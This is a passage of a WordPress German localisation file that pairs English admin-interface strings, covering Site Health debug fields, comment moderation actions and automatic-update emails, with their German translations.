wp-admin/includes/class-wp-debug-data.php:936 #: wp-admin/includes/class-wp-debug-data.php:1259 msgid "No version or author information is available." msgstr "Es sind keine Versions- oder Autoren-Informationen verfügbar." #: wp-admin/includes/class-wp-debug-data.php:877 msgid "Database collation" msgstr "Datenbank-Kollation" #: wp-admin/includes/class-wp-debug-data.php:871 msgid "Database charset" msgstr "Datenbank-Zeichensatz" #: wp-admin/includes/class-wp-debug-data.php:865 msgid "Table prefix" msgstr "Tabellenpräfix" #: wp-admin/includes/class-wp-debug-data.php:859 wp-admin/setup-config.php:166 msgid "Database name" msgstr "Datenbank-Name" #: wp-admin/includes/class-wp-debug-data.php:853 wp-admin/setup-config.php:169 msgid "Database host" msgstr "Datenbank-Host" #: wp-admin/includes/class-wp-debug-data.php:847 wp-admin/setup-config.php:167 msgid "Database username" msgstr "Datenbank-Benutzername" #: wp-admin/includes/class-wp-debug-data.php:842 msgid "Client version" msgstr "Client-Version" #: wp-admin/includes/class-wp-debug-data.php:837 msgid "Server version" msgstr "Server-Version" #: wp-admin/includes/class-wp-debug-data.php:832 msgid "Extension" msgstr "Erweiterung" #: wp-admin/includes/class-wp-debug-data.php:800 msgid ".htaccess rules" msgstr ".htaccess-Regeln" #. translators: %s: .htaccess #: wp-admin/includes/class-wp-debug-data.php:796 msgid "Your %s file contains only core WordPress features." msgstr "Deine %s-Datei enthält nur die WordPress-Core-Funktionen." #. translators: %s: .htaccess #: wp-admin/includes/class-wp-debug-data.php:793 msgid "Custom rules have been added to your %s file." msgstr "Individuelle Regeln wurden deiner %s-Datei hinzugefügt." #: wp-admin/includes/class-wp-debug-data.php:777 msgid "Are pretty permalinks supported?" msgstr "Werden sprechende Permalinks unterstützt?" #: wp-admin/includes/class-wp-debug-data.php:768 msgid "Is the Imagick library available?" msgstr "Ist die Imagick-Bibliothek verfügbar?" #: wp-admin/includes/class-wp-debug-data.php:759 msgid "Is SUHOSIN installed?" msgstr "Ist SUHOSIN installiert?" #: wp-admin/includes/class-wp-debug-data.php:744 #: wp-admin/includes/class-wp-debug-data.php:749 msgid "cURL version" msgstr "cURL-Version" #: wp-admin/includes/class-wp-debug-data.php:735 msgid "PHP post max size" msgstr "Maximale Größe der PHP-Post-Daten (post_max_size)" #: wp-admin/includes/class-wp-debug-data.php:731 msgid "Upload max filesize" msgstr "Maximale Dateigröße beim Upload (upload_max_filesize)" #: wp-admin/includes/class-wp-debug-data.php:727 msgid "Max input time" msgstr "Maximale Eingabe-Zeit (max_input_time)" #: wp-admin/includes/class-wp-debug-data.php:716 msgid "PHP memory limit (only for admin screens)" msgstr "PHP-Speicher-Limit (nur für Administrator-Ansichten)" #: wp-admin/includes/class-wp-debug-data.php:712 #: wp-admin/includes/class-wp-debug-data.php:721 msgid "PHP memory limit" msgstr "PHP-Speicher-Limit (memory_limit)" #: wp-admin/includes/class-wp-debug-data.php:706 msgid "PHP time limit" msgstr "Maximale PHP-Ausführungszeit (max_execution_time)" #: wp-admin/includes/class-wp-debug-data.php:702 msgid "PHP max input variables" msgstr "Maximale PHP-Eingabe-Variablen (max_input_vars)" #: wp-admin/includes/class-wp-debug-data.php:692 msgid "Server settings" msgstr "Server-Einstellungen" #: wp-admin/includes/class-wp-debug-data.php:685 msgid "Unable to determine PHP SAPI" msgstr "Es ist nicht möglich, die PHP-SAPI zu bestimmen" #: wp-admin/includes/class-wp-debug-data.php:684 msgid "PHP SAPI" msgstr "PHP-SAPI" #: wp-admin/includes/class-wp-debug-data.php:679 msgid "PHP version" msgstr "PHP-Version" #: wp-admin/includes/class-wp-debug-data.php:675 msgid "Unable to determine what web server software is used" msgstr "Die verwendete Webserver-Software kann nicht ermittelt werden" #: wp-admin/includes/class-wp-debug-data.php:674 msgid "Web server" msgstr "Webserver" #: wp-admin/includes/class-wp-debug-data.php:670 msgid "Unable to determine server architecture" msgstr "Es ist nicht möglich, die Server-Architektur zu bestimmen" #: wp-admin/includes/class-wp-debug-data.php:669 msgid "Server architecture" msgstr "Server-Architektur" #: wp-admin/includes/class-wp-debug-data.php:658 msgid "Unable to determine PHP version" msgstr "Es ist nicht möglich, die PHP-Version zu bestimmen" #: wp-admin/includes/class-wp-debug-data.php:651 msgid "(Does not support 64bit values)" msgstr "(Unterstützt keine 64bit-Werte)" #: wp-admin/includes/class-wp-debug-data.php:651 msgid "(Supports 64bit values)" msgstr "(Unterstützt 64bit-Werte)" #: wp-admin/includes/class-wp-debug-data.php:631 msgid "Ghostscript version" msgstr "Ghostscript-Version" #: wp-admin/includes/class-wp-debug-data.php:626 msgid "Unable to determine if Ghostscript is installed" msgstr "Es kann nicht festgestellt werden, ob Ghostscript installiert ist" #: wp-admin/includes/class-wp-debug-data.php:610 msgid "GD version" msgstr "GD-Version" #: wp-admin/includes/class-wp-debug-data.php:596 msgid "Imagick Resource Limits" msgstr "Imagick-Resource-Limits" #: wp-admin/includes/class-wp-debug-data.php:570 msgid "Max number of files allowed" msgstr "Maximale Anzahl erlaubter Dateien" #: wp-admin/includes/class-wp-debug-data.php:566 msgid "Max effective file size" msgstr "Maximale effektive Dateigröße" #: wp-admin/includes/class-wp-debug-data.php:562 msgid "Max size of an uploaded file" msgstr "Maximale Größe einer hochgeladenen Datei" #: wp-admin/includes/class-wp-debug-data.php:558 msgid "Max size of post data allowed" msgstr "Maximale Anzahl erlaubter POST-Daten" #: wp-admin/includes/class-wp-debug-data.php:553 #: wp-admin/includes/class-wp-site-health.php:2303 msgid "File uploads" msgstr "Datei-Uploads" #. translators: %s: ini_get() #: wp-admin/includes/class-wp-debug-data.php:539 #: wp-admin/includes/class-wp-debug-data.php:695 msgid "Unable to determine some settings, as the %s function has been disabled." msgstr "Einige Einstellungen konnten nicht ausgelesen werden, da die Funktion %s deaktiviert ist." #: wp-admin/includes/class-wp-debug-data.php:536 msgid "File upload settings" msgstr "Datei-Upload-Einstellungen" #: wp-admin/includes/class-wp-debug-data.php:530 msgid "ImageMagick version string" msgstr "ImageMagick-Versions-Zeichenfolge" #: wp-admin/includes/class-wp-debug-data.php:525 msgid "ImageMagick version number" msgstr "ImageMagick-Versionsnummer" #: wp-admin/includes/class-wp-debug-data.php:511 msgid "Active editor" msgstr "Aktiver Editor" #: wp-admin/includes/class-wp-debug-data.php:499 #: wp-admin/includes/class-wp-debug-data.php:521 #: wp-admin/includes/class-wp-debug-data.php:1593 msgid "Not available" msgstr "Nicht verfügbar" #: wp-admin/includes/class-wp-debug-data.php:485 msgid "Total installation size" msgstr "Gesamtgröße der Installation" #: wp-admin/includes/class-wp-debug-data.php:480 msgid "Database size" msgstr "Datenbank-Größe" #: wp-admin/includes/class-wp-debug-data.php:475 msgid "Plugins directory size" msgstr "Größe des Plugins-Verzeichnisses" #: wp-admin/includes/class-wp-debug-data.php:471 msgid "Plugins directory location" msgstr "Ort des Plugins-Verzeichnisses" #: wp-admin/includes/class-wp-debug-data.php:466 msgid "Themes directory size" msgstr "Größe des Themes-Verzeichnisses" #: wp-admin/includes/class-wp-debug-data.php:462 msgid "Themes directory location" msgstr "Ort des Themes-Verzeichnisses" #: wp-admin/includes/class-wp-debug-data.php:457 msgid "Uploads directory size" msgstr "Größe des Uploads-Verzeichnisses" #: wp-admin/includes/class-wp-debug-data.php:453 msgid "Uploads directory location" msgstr "Ort des Uploads-Verzeichnisses" #: wp-admin/includes/class-wp-debug-data.php:448 msgid "WordPress directory size" msgstr "Größe des WordPress-Verzeichnisses" #: wp-admin/includes/class-wp-debug-data.php:444 msgid "WordPress directory location" msgstr "Ort des WordPress-Verzeichnisses" #. translators: 1: The IP address WordPress.org resolves to. 2: The error #. returned by the lookup. #: wp-admin/includes/class-wp-debug-data.php:430 msgid "Unable to reach WordPress.org at %1$s: %2$s" msgstr "WordPress.org kann unter %1$s: %2$s nicht erreicht werden" #: wp-admin/includes/class-wp-debug-data.php:422 msgid "WordPress.org is reachable" msgstr "WordPress.org ist erreichbar" #: wp-admin/includes/class-wp-debug-data.php:421 #: wp-admin/includes/class-wp-debug-data.php:427 #: wp-admin/includes/class-wp-site-health.php:2313 msgid "Communication with WordPress.org" msgstr "Verbindung mit WordPress.org" #: wp-admin/includes/class-wp-debug-data.php:404 msgid "Network count" msgstr "Anzahl der Netzwerke" #: wp-admin/includes/class-wp-debug-data.php:399 msgid "Site count" msgstr "Anzahl der Websites" #: wp-admin/includes/class-wp-debug-data.php:394 #: wp-admin/includes/class-wp-debug-data.php:411 msgid "User count" msgstr "Anzahl der Benutzer" #: wp-admin/includes/class-wp-debug-data.php:370 msgid "The themes directory" msgstr "Das Themes-Verzeichnis" #: wp-admin/includes/class-wp-debug-data.php:365 msgid "The plugins directory" msgstr "Das Plugins-Verzeichnis" #: wp-admin/includes/class-wp-debug-data.php:360 msgid "The uploads directory" msgstr "Das Uploads-Verzeichnis" #: wp-admin/includes/class-wp-debug-data.php:355 msgid "The wp-content directory" msgstr "Das „wp-content“-Verzeichnis" #: wp-admin/includes/class-wp-debug-data.php:351 #: wp-admin/includes/class-wp-debug-data.php:356 #: wp-admin/includes/class-wp-debug-data.php:361 #: wp-admin/includes/class-wp-debug-data.php:366 #: wp-admin/includes/class-wp-debug-data.php:371 #: wp-admin/includes/class-wp-debug-data.php:1349 msgid "Not writable" msgstr "Nicht beschreibbar" #: wp-admin/includes/class-wp-debug-data.php:351 #: wp-admin/includes/class-wp-debug-data.php:356 #: wp-admin/includes/class-wp-debug-data.php:361 #: wp-admin/includes/class-wp-debug-data.php:366 #: wp-admin/includes/class-wp-debug-data.php:371 #: wp-admin/includes/class-wp-debug-data.php:1349 msgid "Writable" msgstr "Beschreibbar" #: wp-admin/includes/class-wp-debug-data.php:350 msgid "The main WordPress directory" msgstr "Das Hauptverzeichnis von WordPress" #: wp-admin/includes/class-wp-debug-data.php:347 msgid "Shows whether WordPress is able to write to the directories it needs access to." msgstr "Zeigt an, ob WordPress in die Verzeichnisse schreiben kann, auf die es Zugriff benötigt." #: wp-admin/includes/class-wp-debug-data.php:346 msgid "Filesystem Permissions" msgstr "Dateisystem-Berechtigungen" #: wp-admin/includes/class-wp-debug-data.php:248 msgid "These settings alter where and how parts of WordPress are loaded." msgstr "Diese Einstellungen legen fest, wo und wie Teile von WordPress geladen werden." #: wp-admin/includes/class-wp-debug-data.php:247 msgid "WordPress Constants" msgstr "WordPress-Konstanten" #: wp-admin/includes/class-wp-debug-data.php:215 #: wp-admin/includes/class-wp-debug-data.php:224 #: wp-admin/includes/class-wp-debug-data.php:233 #: wp-admin/includes/class-wp-debug-data.php:242 #: wp-admin/includes/class-wp-debug-data.php:257 #: wp-admin/includes/class-wp-debug-data.php:262 #: wp-admin/includes/class-wp-debug-data.php:328 #: wp-admin/includes/class-wp-debug-data.php:333 #: wp-admin/includes/class-wp-debug-data.php:1094 #: wp-admin/includes/class-wp-debug-data.php:1189 msgid "Undefined" msgstr "Nicht definiert" #: wp-admin/includes/class-wp-debug-data.php:207 #: wp-admin/includes/class-wp-debug-data.php:212 #: wp-admin/includes/class-wp-debug-data.php:221 #: wp-admin/includes/class-wp-debug-data.php:230 #: wp-admin/includes/class-wp-debug-data.php:239 #: wp-admin/includes/class-wp-debug-data.php:283 #: wp-admin/includes/class-wp-debug-data.php:288 #: wp-admin/includes/class-wp-debug-data.php:298 #: wp-admin/includes/class-wp-debug-data.php:303 #: wp-admin/includes/class-wp-debug-data.php:554 #: wp-admin/includes/class-wp-debug-data.php:1137 #: wp-admin/includes/class-wp-debug-data.php:1223 msgid "Enabled" msgstr "Aktiviert" #: wp-admin/includes/class-wp-debug-data.php:202 #: wp-admin/includes/class-wp-debug-data.php:212 #: wp-admin/includes/class-wp-debug-data.php:221 #: wp-admin/includes/class-wp-debug-data.php:230 #: wp-admin/includes/class-wp-debug-data.php:239 #: wp-admin/includes/class-wp-debug-data.php:283 #: wp-admin/includes/class-wp-debug-data.php:288 #: wp-admin/includes/class-wp-debug-data.php:298 #: wp-admin/includes/class-wp-debug-data.php:303 #: wp-admin/includes/class-wp-debug-data.php:554 #: wp-admin/includes/class-wp-debug-data.php:1139 #: wp-admin/includes/class-wp-debug-data.php:1225 msgid "Disabled" msgstr "Deaktiviert" #: wp-admin/includes/class-wp-debug-data.php:197 msgid "Database" msgstr "Datenbank" #: wp-admin/includes/class-wp-debug-data.php:192 msgid "The options shown below relate to your server setup. If changes are required, you may need your web host’s assistance." msgstr "Die unten aufgeführten Optionen beziehen sich auf deine Serverkonfiguration. Wenn Änderungen erforderlich sind, benötigst du möglicherweise die Unterstützung deines Webhosting-Unternehmens." #: wp-admin/includes/class-wp-debug-data.php:191 msgid "Server" msgstr "Server" #: wp-admin/includes/class-wp-debug-data.php:186 msgid "Media Handling" msgstr "Medien-Handhabung" #: wp-admin/includes/class-wp-debug-data.php:180 msgid "Inactive Plugins" msgstr "Inaktive Plugins" #: wp-admin/includes/class-wp-debug-data.php:174 msgid "Active Plugins" msgstr "Aktive Plugins" #: wp-admin/includes/class-wp-debug-data.php:168 msgid "Must Use Plugins" msgstr "Must-Use-Plugins" #: wp-admin/includes/class-wp-debug-data.php:162 msgid "Inactive Themes" msgstr "Inaktive Themes" #: wp-admin/includes/class-wp-debug-data.php:157 msgid "Parent Theme" msgstr "Übergeordnetes Theme" #: wp-admin/includes/class-wp-debug-data.php:152 #: wp-admin/includes/class-wp-ms-themes-list-table.php:904 msgid "Active Theme" msgstr "Aktives Theme" #. translators: %s: wp-content directory name. #: wp-admin/includes/class-wp-debug-data.php:145 #: wp-admin/includes/class-wp-plugins-list-table.php:668 msgid "Drop-ins are single files, found in the %s directory, that replace or enhance WordPress features in ways that are not possible for traditional plugins." msgstr "Drop-ins sind einzelne Dateien, die sich im %s-Verzeichnis befinden und WordPress-Funktionen auf eine Weise ersetzen oder verbessern, die für herkömmliche Plugins nicht möglich ist." #: wp-admin/includes/class-wp-debug-data.php:141 msgid "Drop-ins" msgstr "Drop-ins" #: wp-admin/includes/class-wp-debug-data.php:135 msgid "Directories and Sizes" msgstr "Verzeichnisse und Größen" #: wp-admin/includes/class-wp-debug-data.php:126 msgid "Environment type" msgstr "Umgebungstyp" #: wp-admin/includes/class-wp-debug-data.php:122 msgctxt "comment status" msgid "Closed" msgstr "Geschlossen" #: wp-admin/includes/class-wp-debug-data.php:122 msgctxt "comment status" msgid "Open" msgstr "Offen" #: wp-admin/includes/class-wp-debug-data.php:121 msgid "Default comment status" msgstr "Standard-Kommentarstatus" #: wp-admin/includes/class-wp-debug-data.php:116 msgid "Is this site discouraging search engines?" msgstr "Ist diese Website für Suchmaschinen ausgeschlossen?" #: wp-admin/includes/class-wp-debug-data.php:111 msgid "Can anyone register on this site?" msgstr "Kann sich jeder auf dieser Website registrieren?" #: wp-admin/includes/class-wp-debug-data.php:106 msgid "Is this a multisite?" msgstr "Ist dies eine Multisite?" #: wp-admin/includes/class-wp-debug-data.php:101 msgid "Is this site using HTTPS?" msgstr "Verwendet diese Website HTTPS?" #: wp-admin/includes/class-wp-debug-data.php:97 msgid "No permalink structure set" msgstr "Keine Permalink-Struktur definiert" #: wp-admin/includes/class-wp-debug-data.php:96 msgid "Permalink structure" msgstr "Permalink-Struktur" #: wp-admin/includes/class-wp-debug-data.php:91 msgid "Site URL" msgstr "Website-URL" #: wp-admin/includes/class-wp-debug-data.php:86 msgid "Home URL" msgstr "Homepage-URL" #: wp-admin/includes/class-wp-debug-data.php:82 #: wp-admin/options-general.php:224 msgid "Timezone" msgstr "Zeitzone" #: wp-admin/includes/class-wp-debug-data.php:78 msgid "User Language" msgstr "Benutzersprache" #: wp-admin/includes/class-wp-debug-data.php:74 #: wp-admin/options-general.php:166 wp-admin/network/site-new.php:233 msgid "Site Language" msgstr "Sprache der Website" #. translators: %s: Latest WordPress version number. #. translators: %s: Latest plugin version number. #. translators: %s: Latest theme version number. #: wp-admin/includes/class-wp-debug-data.php:55 #: wp-admin/includes/class-wp-debug-data.php:959 #: wp-admin/includes/class-wp-debug-data.php:1050 #: wp-admin/includes/class-wp-debug-data.php:1162 #: wp-admin/includes/class-wp-debug-data.php:1282 msgid "(Latest version: %s)" msgstr "(Aktuelle Version: %s)" #. translators: Date string for upcoming events. 1: Starting month, 2: Starting #. day, 3: Ending month, 4: Ending day, 5: Year. #. translators: Date string for upcoming events. 1: Starting month, 2: Starting #. day, 3: Ending month, 4: Ending day, 5: Ending year. #: wp-admin/includes/class-wp-community-events.php:422 #: wp-admin/js/dashboard.js:778 msgid "%1$s %2$d – %3$s %4$d, %5$d" msgstr "%2$d. %1$s – %4$d. %3$s %5$d" #. translators: Upcoming events year format. See #. https://www.php.net/manual/datetime.format.php #: wp-admin/includes/class-wp-community-events.php:417 #: wp-admin/includes/class-wp-community-events.php:427 #: wp-admin/js/dashboard.js:791 wp-admin/js/dashboard.js:802 msgctxt "upcoming events year format" msgid "Y" msgstr "Y" #. translators: Upcoming events day format. See #. https://www.php.net/manual/datetime.format.php #: wp-admin/includes/class-wp-community-events.php:414 #: wp-admin/includes/class-wp-community-events.php:415 #: wp-admin/includes/class-wp-community-events.php:424 #: wp-admin/includes/class-wp-community-events.php:426 #: wp-admin/js/dashboard.js:789 wp-admin/js/dashboard.js:790 #: wp-admin/js/dashboard.js:799 wp-admin/js/dashboard.js:801 msgctxt "upcoming events day format" msgid "j" msgstr "j" #. translators: Date string for upcoming events. 1: Month, 2: Starting day, 3: #. Ending day, 4: Year. #: wp-admin/includes/class-wp-community-events.php:411 #: wp-admin/js/dashboard.js:776 msgid "%1$s %2$d–%3$d, %4$d" msgstr "%2$d.–%3$d. %1$s %4$d" #. translators: Upcoming events month format. See #. https://www.php.net/manual/datetime.format.php #: wp-admin/includes/class-wp-community-events.php:405 #: wp-admin/includes/class-wp-community-events.php:406 #: wp-admin/js/dashboard.js:788 wp-admin/js/dashboard.js:798 #: wp-admin/js/dashboard.js:800 msgctxt "upcoming events month format" msgid "F" msgstr "F" #. translators: Date format for upcoming events on the dashboard. Include the #. day of the week. See https://www.php.net/manual/datetime.format.php #: wp-admin/includes/class-wp-community-events.php:396 #: wp-admin/includes/class-wp-community-events.php:401 #: wp-admin/js/dashboard.js:774 msgid "l, M j, Y" msgstr "l, j. M. Y" #: wp-admin/includes/class-wp-community-events.php:124 msgid "Unknown API error." msgstr "Unbekannter API-Fehler." #. translators: %d: Numeric HTTP status code, e.g. 400, 403, 500, 504, etc. #: wp-admin/includes/class-wp-community-events.php:119 msgid "Invalid API response code (%d)." msgstr "Ungültiger API-Antwortcode (%d)" #: wp-admin/includes/class-wp-comments-list-table.php:858 msgid "Select comment" msgstr "Kommentar auswählen" #: wp-admin/includes/class-wp-comments-list-table.php:798 #: wp-admin/includes/dashboard.php:717 msgid "Reply to this comment" msgstr "Auf diesen Kommentar antworten" #: wp-admin/includes/class-wp-comments-list-table.php:789 #: wp-admin/includes/class-wp-posts-list-table.php:1367 #: wp-admin/includes/class-wp-terms-list-table.php:489 msgid "Quick Edit" msgstr "QuickEdit" #: wp-admin/includes/class-wp-comments-list-table.php:788 msgid "Quick edit this comment inline" msgstr "Schnellanpassung dieses Kommentars inline vornehmen" #: wp-admin/includes/class-wp-comments-list-table.php:776 #: wp-admin/includes/dashboard.php:709 msgid "Edit this comment" msgstr "Diesen Kommentar bearbeiten" #: wp-admin/includes/class-wp-comments-list-table.php:768 #: wp-admin/includes/class-wp-media-list-table.php:701 #: wp-admin/includes/class-wp-media-list-table.php:757 #: wp-admin/includes/class-wp-posts-list-table.php:1387 #: wp-admin/includes/dashboard.php:744 msgctxt "verb" msgid "Trash" msgstr "Papierkorb" #: wp-admin/includes/class-wp-comments-list-table.php:767 #: wp-admin/includes/dashboard.php:743 msgid "Move this comment to the Trash" msgstr "Diesen Kommentar in den Papierkorb legen" #: wp-admin/includes/class-wp-comments-list-table.php:759 #: wp-admin/includes/dashboard.php:735 msgid "Delete this comment permanently" msgstr "Diesen Kommentar endgültig löschen" #: wp-admin/includes/class-wp-comments-list-table.php:749 msgid "Restore this comment from the Trash" msgstr "Diesen Kommentar aus dem Papierkorb wiederherstellen" #: wp-admin/includes/class-wp-comments-list-table.php:740 msgctxt "comment" msgid "Not Spam" msgstr "Kein Spam" #: wp-admin/includes/class-wp-comments-list-table.php:739 msgid "Restore this comment from the spam" msgstr "Diesen Kommentar aus dem Spamfilter wiederherstellen" #. translators: "Mark as spam" link. #: wp-admin/includes/class-wp-comments-list-table.php:732 #: wp-admin/includes/dashboard.php:727 msgctxt "verb" msgid "Spam" msgstr "Spam" #: wp-admin/includes/class-wp-comments-list-table.php:730 #: wp-admin/includes/dashboard.php:725 msgid "Mark this comment as spam" msgstr "Diesen Kommentar als Spam markieren" #: wp-admin/includes/class-wp-comments-list-table.php:703 #: wp-admin/includes/class-wp-comments-list-table.php:712 #: wp-admin/includes/dashboard.php:694 msgid "Approve this comment" msgstr "Diesen Kommentar freigeben" #: wp-admin/includes/class-wp-comments-list-table.php:695 #: wp-admin/includes/class-wp-comments-list-table.php:720 #: wp-admin/includes/dashboard.php:702 msgid "Unapprove this comment" msgstr "Kommentar zurückweisen" #: wp-admin/includes/class-wp-comments-list-table.php:503 msgid "All comment types" msgstr "Alle Kommentararten" #: wp-admin/includes/class-wp-comments-list-table.php:499 msgid "Filter by comment type" msgstr "Nach Kommentarart filtern" #: wp-admin/includes/class-wp-comments-list-table.php:494 #: wp-admin/includes/class-wp-posts-list-table.php:1795 msgid "Pings" msgstr "Pings" #: wp-admin/includes/class-wp-comments-list-table.php:469 msgctxt "column name" msgid "Submitted on" msgstr "Eingereicht am" #: wp-admin/includes/class-wp-comments-list-table.php:462 #: wp-admin/includes/class-wp-post-comments-list-table.php:27 msgctxt "column name" msgid "Comment" msgstr "Kommentar" #: wp-admin/includes/class-wp-comments-list-table.php:418 #: wp-admin/includes/class-wp-media-list-table.php:212 #: wp-admin/includes/class-wp-posts-list-table.php:569 msgid "Empty Trash" msgstr "Papierkorb leeren" #: wp-admin/includes/class-wp-comments-list-table.php:418 msgid "Empty Spam" msgstr "Spam leeren" #: wp-admin/includes/class-wp-comments-list-table.php:412 #: wp-admin/includes/class-wp-links-list-table.php:121 #: wp-admin/includes/class-wp-media-list-table.php:209 #: wp-admin/includes/class-wp-posts-list-table.php:564 #: wp-admin/includes/class-wp-ms-sites-list-table.php:340 msgid "Filter" msgstr "Auswahl einschränken" #: wp-admin/includes/class-wp-comments-list-table.php:368 msgctxt "comment" msgid "Not spam" msgstr "Kein Spam" #: wp-admin/includes/class-wp-comments-list-table.php:366 #: wp-admin/includes/class-wp-comments-list-table.php:750 #: wp-admin/includes/class-wp-media-list-table.php:176 #: wp-admin/includes/class-wp-media-list-table.php:749 #: wp-admin/includes/class-wp-posts-list-table.php:408 #: wp-admin/includes/class-wp-posts-list-table.php:1379 msgid "Restore" msgstr "Wiederherstellen" #: wp-admin/includes/class-wp-comments-list-table.php:359 #: wp-admin/includes/class-wp-comments-list-table.php:704 #: wp-admin/includes/class-wp-comments-list-table.php:713 #: wp-admin/includes/dashboard.php:695 msgid "Approve" msgstr "Freigeben" #: wp-admin/includes/class-wp-comments-list-table.php:356 #: wp-admin/includes/class-wp-comments-list-table.php:696 #: wp-admin/includes/class-wp-comments-list-table.php:721 #: wp-admin/includes/dashboard.php:703 msgid "Unapprove" msgstr "Zurückweisen" #. translators: %s: Number of comments. #: wp-admin/includes/class-wp-comments-list-table.php:275 msgctxt "comments" msgid "Trash <span class=\"count\">(%s)</span>" msgid_plural "Trash <span class=\"count\">(%s)</span>" msgstr[0] "Papierkorb <span class=\"count\">(%s)</span>" msgstr[1] "Papierkorb <span class=\"count\">(%s)</span>" #. translators: %s: Number of comments. #: wp-admin/includes/class-wp-comments-list-table.php:268 msgctxt "comments" msgid "Spam <span class=\"count\">(%s)</span>" msgid_plural "Spam <span class=\"count\">(%s)</span>" msgstr[0] "Spam <span class=\"count\">(%s)</span>" msgstr[1] "Spam <span class=\"count\">(%s)</span>" #. translators: %s: Number of comments. #: wp-admin/includes/class-wp-comments-list-table.php:261 msgctxt "comments" msgid "Approved <span class=\"count\">(%s)</span>" msgid_plural "Approved <span class=\"count\">(%s)</span>" msgstr[0] "Freigegeben <span class=\"count\">(%s)</span>" msgstr[1] "Freigegebene <span class=\"count\">(%s)</span>" #. translators: %s: Number of comments. #: wp-admin/includes/class-wp-comments-list-table.php:254 msgctxt "comments" msgid "Pending <span class=\"count\">(%s)</span>" msgid_plural "Pending <span class=\"count\">(%s)</span>" msgstr[0] "Ausstehend <span class=\"count\">(%s)</span>" msgstr[1] "Ausstehend <span class=\"count\">(%s)</span>" #. translators: %s: Number of comments. #: wp-admin/includes/class-wp-comments-list-table.php:247 msgctxt "comments" msgid "Mine <span class=\"count\">(%s)</span>" msgid_plural "Mine <span class=\"count\">(%s)</span>" msgstr[0] "Mein <span class=\"count\">(%s)</span>" msgstr[1] "Meine <span class=\"count\">(%s)</span>" #. translators: %s: Number of comments. #: wp-admin/includes/class-wp-comments-list-table.php:240 msgctxt "comments" msgid "All <span class=\"count\">(%s)</span>" msgid_plural "All <span class=\"count\">(%s)</span>" msgstr[0] "Alle <span class=\"count\">(%s)</span>" msgstr[1] "Alle <span class=\"count\">(%s)</span>" #: wp-admin/includes/class-wp-comments-list-table.php:223 msgid "No comments found." msgstr "Es wurden keine Kommentare gefunden." #: wp-admin/includes/class-wp-comments-list-table.php:221 msgid "No comments found in Trash." msgstr "Keine Kommentare im Papierkorb gefunden." #: wp-admin/includes/class-wp-comments-list-table.php:219 msgid "No comments awaiting moderation." msgstr "Es warten keine Kommentare auf Moderation." #. translators: 1: Error code, 2: Error message. #: wp-admin/includes/class-wp-automatic-updater.php:1382 msgid "Error: [%1$s] %2$s" msgstr "Fehler: [%1$s] %2$s" #. translators: 1: Error code, 2: Error message. #: wp-admin/includes/class-wp-automatic-updater.php:1379 msgid "Rollback Error: [%1$s] %2$s" msgstr "Wiederherstellungsfehler: [%1$s] %2$s" #: wp-admin/includes/class-wp-automatic-updater.php:1349 msgid "" "UPDATE LOG\n" "==========" msgstr "" "AKTUALISIERUNGS-PROTOKOLL\n" "==========================" #. translators: Background update finished notification email subject. %s: Site #. title. #: wp-admin/includes/class-wp-automatic-updater.php:1345 msgid "[%s] Background Update Finished" msgstr "[%s] Hintergrund-Aktualisierung ist abgeschlossen" #. translators: Background update failed notification email subject. %s: Site #. title. #: wp-admin/includes/class-wp-automatic-updater.php:1342 msgid "[%s] Background Update Failed" msgstr "[%s] Hintergrund-Aktualisierung ist fehlgeschlagen" #: wp-admin/includes/class-wp-automatic-updater.php:1326 msgid "" "BETA TESTING?\n" "=============\n" "\n" "This debugging email is sent when you are using a development version of WordPress.\n" "\n" "If you think these failures might be due to a bug in WordPress, could you report it?\n" " * Open a thread in the support forums: https://wordpress.org/support/forum/alphabeta\n" " * Or, if you're comfortable writing a bug report: https://core.trac.wordpress.org/\n" "\n" "Thanks! -- The WordPress Team" msgstr "" "BETA-TESTER?\n" "============\n" "\n" "Diese Mail zur Fehlerbehebung wird an dich verschickt, wenn du eine Entwicklungsversion von WordPress verwendest.\n" "\n" "Kannst du uns Fehler, die ggf. durch einen Bug in WordPress verursacht werden, bitte mitteilen?\n" " * Starte einen neuen Thread im Support-Forum: https://wordpress.org/support/forum/alphabeta\n" " * Oder, wenn es dir leicht fällt, einen Bug-Report zu schreiben: https://core.trac.wordpress.org/\n" "\n" "Danke! -- Das WordPress-Team" #. translators: %s: Name of plugin / theme / translation. #: wp-admin/includes/class-wp-automatic-updater.php:1315 msgid "FAILED: %s" msgstr "Fehlgeschlagen: %s" #: wp-admin/includes/class-wp-automatic-updater.php:1308 msgid "The following translations failed to update:" msgstr "Bei folgenden Übersetzungen ist die Aktualisierung fehlgeschlagen:" #: wp-admin/includes/class-wp-automatic-updater.php:1307 msgid "The following themes failed to update:" msgstr "Bei folgenden Themes ist die Aktualisierung fehlgeschlagen:" #: wp-admin/includes/class-wp-automatic-updater.php:1306 msgid "The following plugins failed to update:" msgstr "Bei folgenden Plugins ist die Aktualisierung fehlgeschlagen:" #. translators: %s: Name of plugin / theme / translation. #: wp-admin/includes/class-wp-automatic-updater.php:1300 msgid "SUCCESS: %s" msgstr "Erfolg bei: %s" #: wp-admin/includes/class-wp-automatic-updater.php:1294 msgid "The following translations were successfully updated:" msgstr "Folgende Übersetzungen wurden erfolgreich aktualisiert:" #: wp-admin/includes/class-wp-automatic-updater.php:1293 msgid "The following themes were successfully updated:" msgstr "Folgende Themes wurden erfolgreich aktualisiert:" #: wp-admin/includes/class-wp-automatic-updater.php:1292 msgid "The following plugins were successfully updated:" msgstr "Folgende Plugins wurden erfolgreich aktualisiert: " #. translators: %s: WordPress version. #: wp-admin/includes/class-wp-automatic-updater.php:1278 msgid "FAILED: WordPress failed to update to %s" msgstr "Fehler! Die Aktualisierung von WordPress auf Version %s ist fehlgeschlagen" #. translators: %s: WordPress version. #: wp-admin/includes/class-wp-automatic-updater.php:1275 msgid "SUCCESS: WordPress was successfully updated to %s" msgstr "Erfolg! WordPress wurde erfolgreich auf %s aktualisiert" #. translators: %s: Network home URL. #: wp-admin/includes/class-wp-automatic-updater.php:1268 msgid "WordPress site: %s" msgstr "WordPress-Website: %s" #. translators: %s: Themes screen URL. #: wp-admin/includes/class-wp-automatic-updater.php:1208 msgid "To manage themes on your site, visit the Themes page: %s" msgstr "Um Themes auf deiner Website zu verwalten, rufe die Themes-Seite auf: %s" #. translators: %s: Plugins screen URL. #: wp-admin/includes/class-wp-automatic-updater.php:1199 msgid "To manage plugins on your site, visit the Plugins page: %s" msgstr "Um Plugins auf deiner Website zu verwalten, rufe die Plugins-Seite auf: %s" #: wp-admin/includes/class-wp-automatic-updater.php:1169 msgid "These themes are now up to date:" msgstr "Diese Themes sind jetzt auf dem neuesten 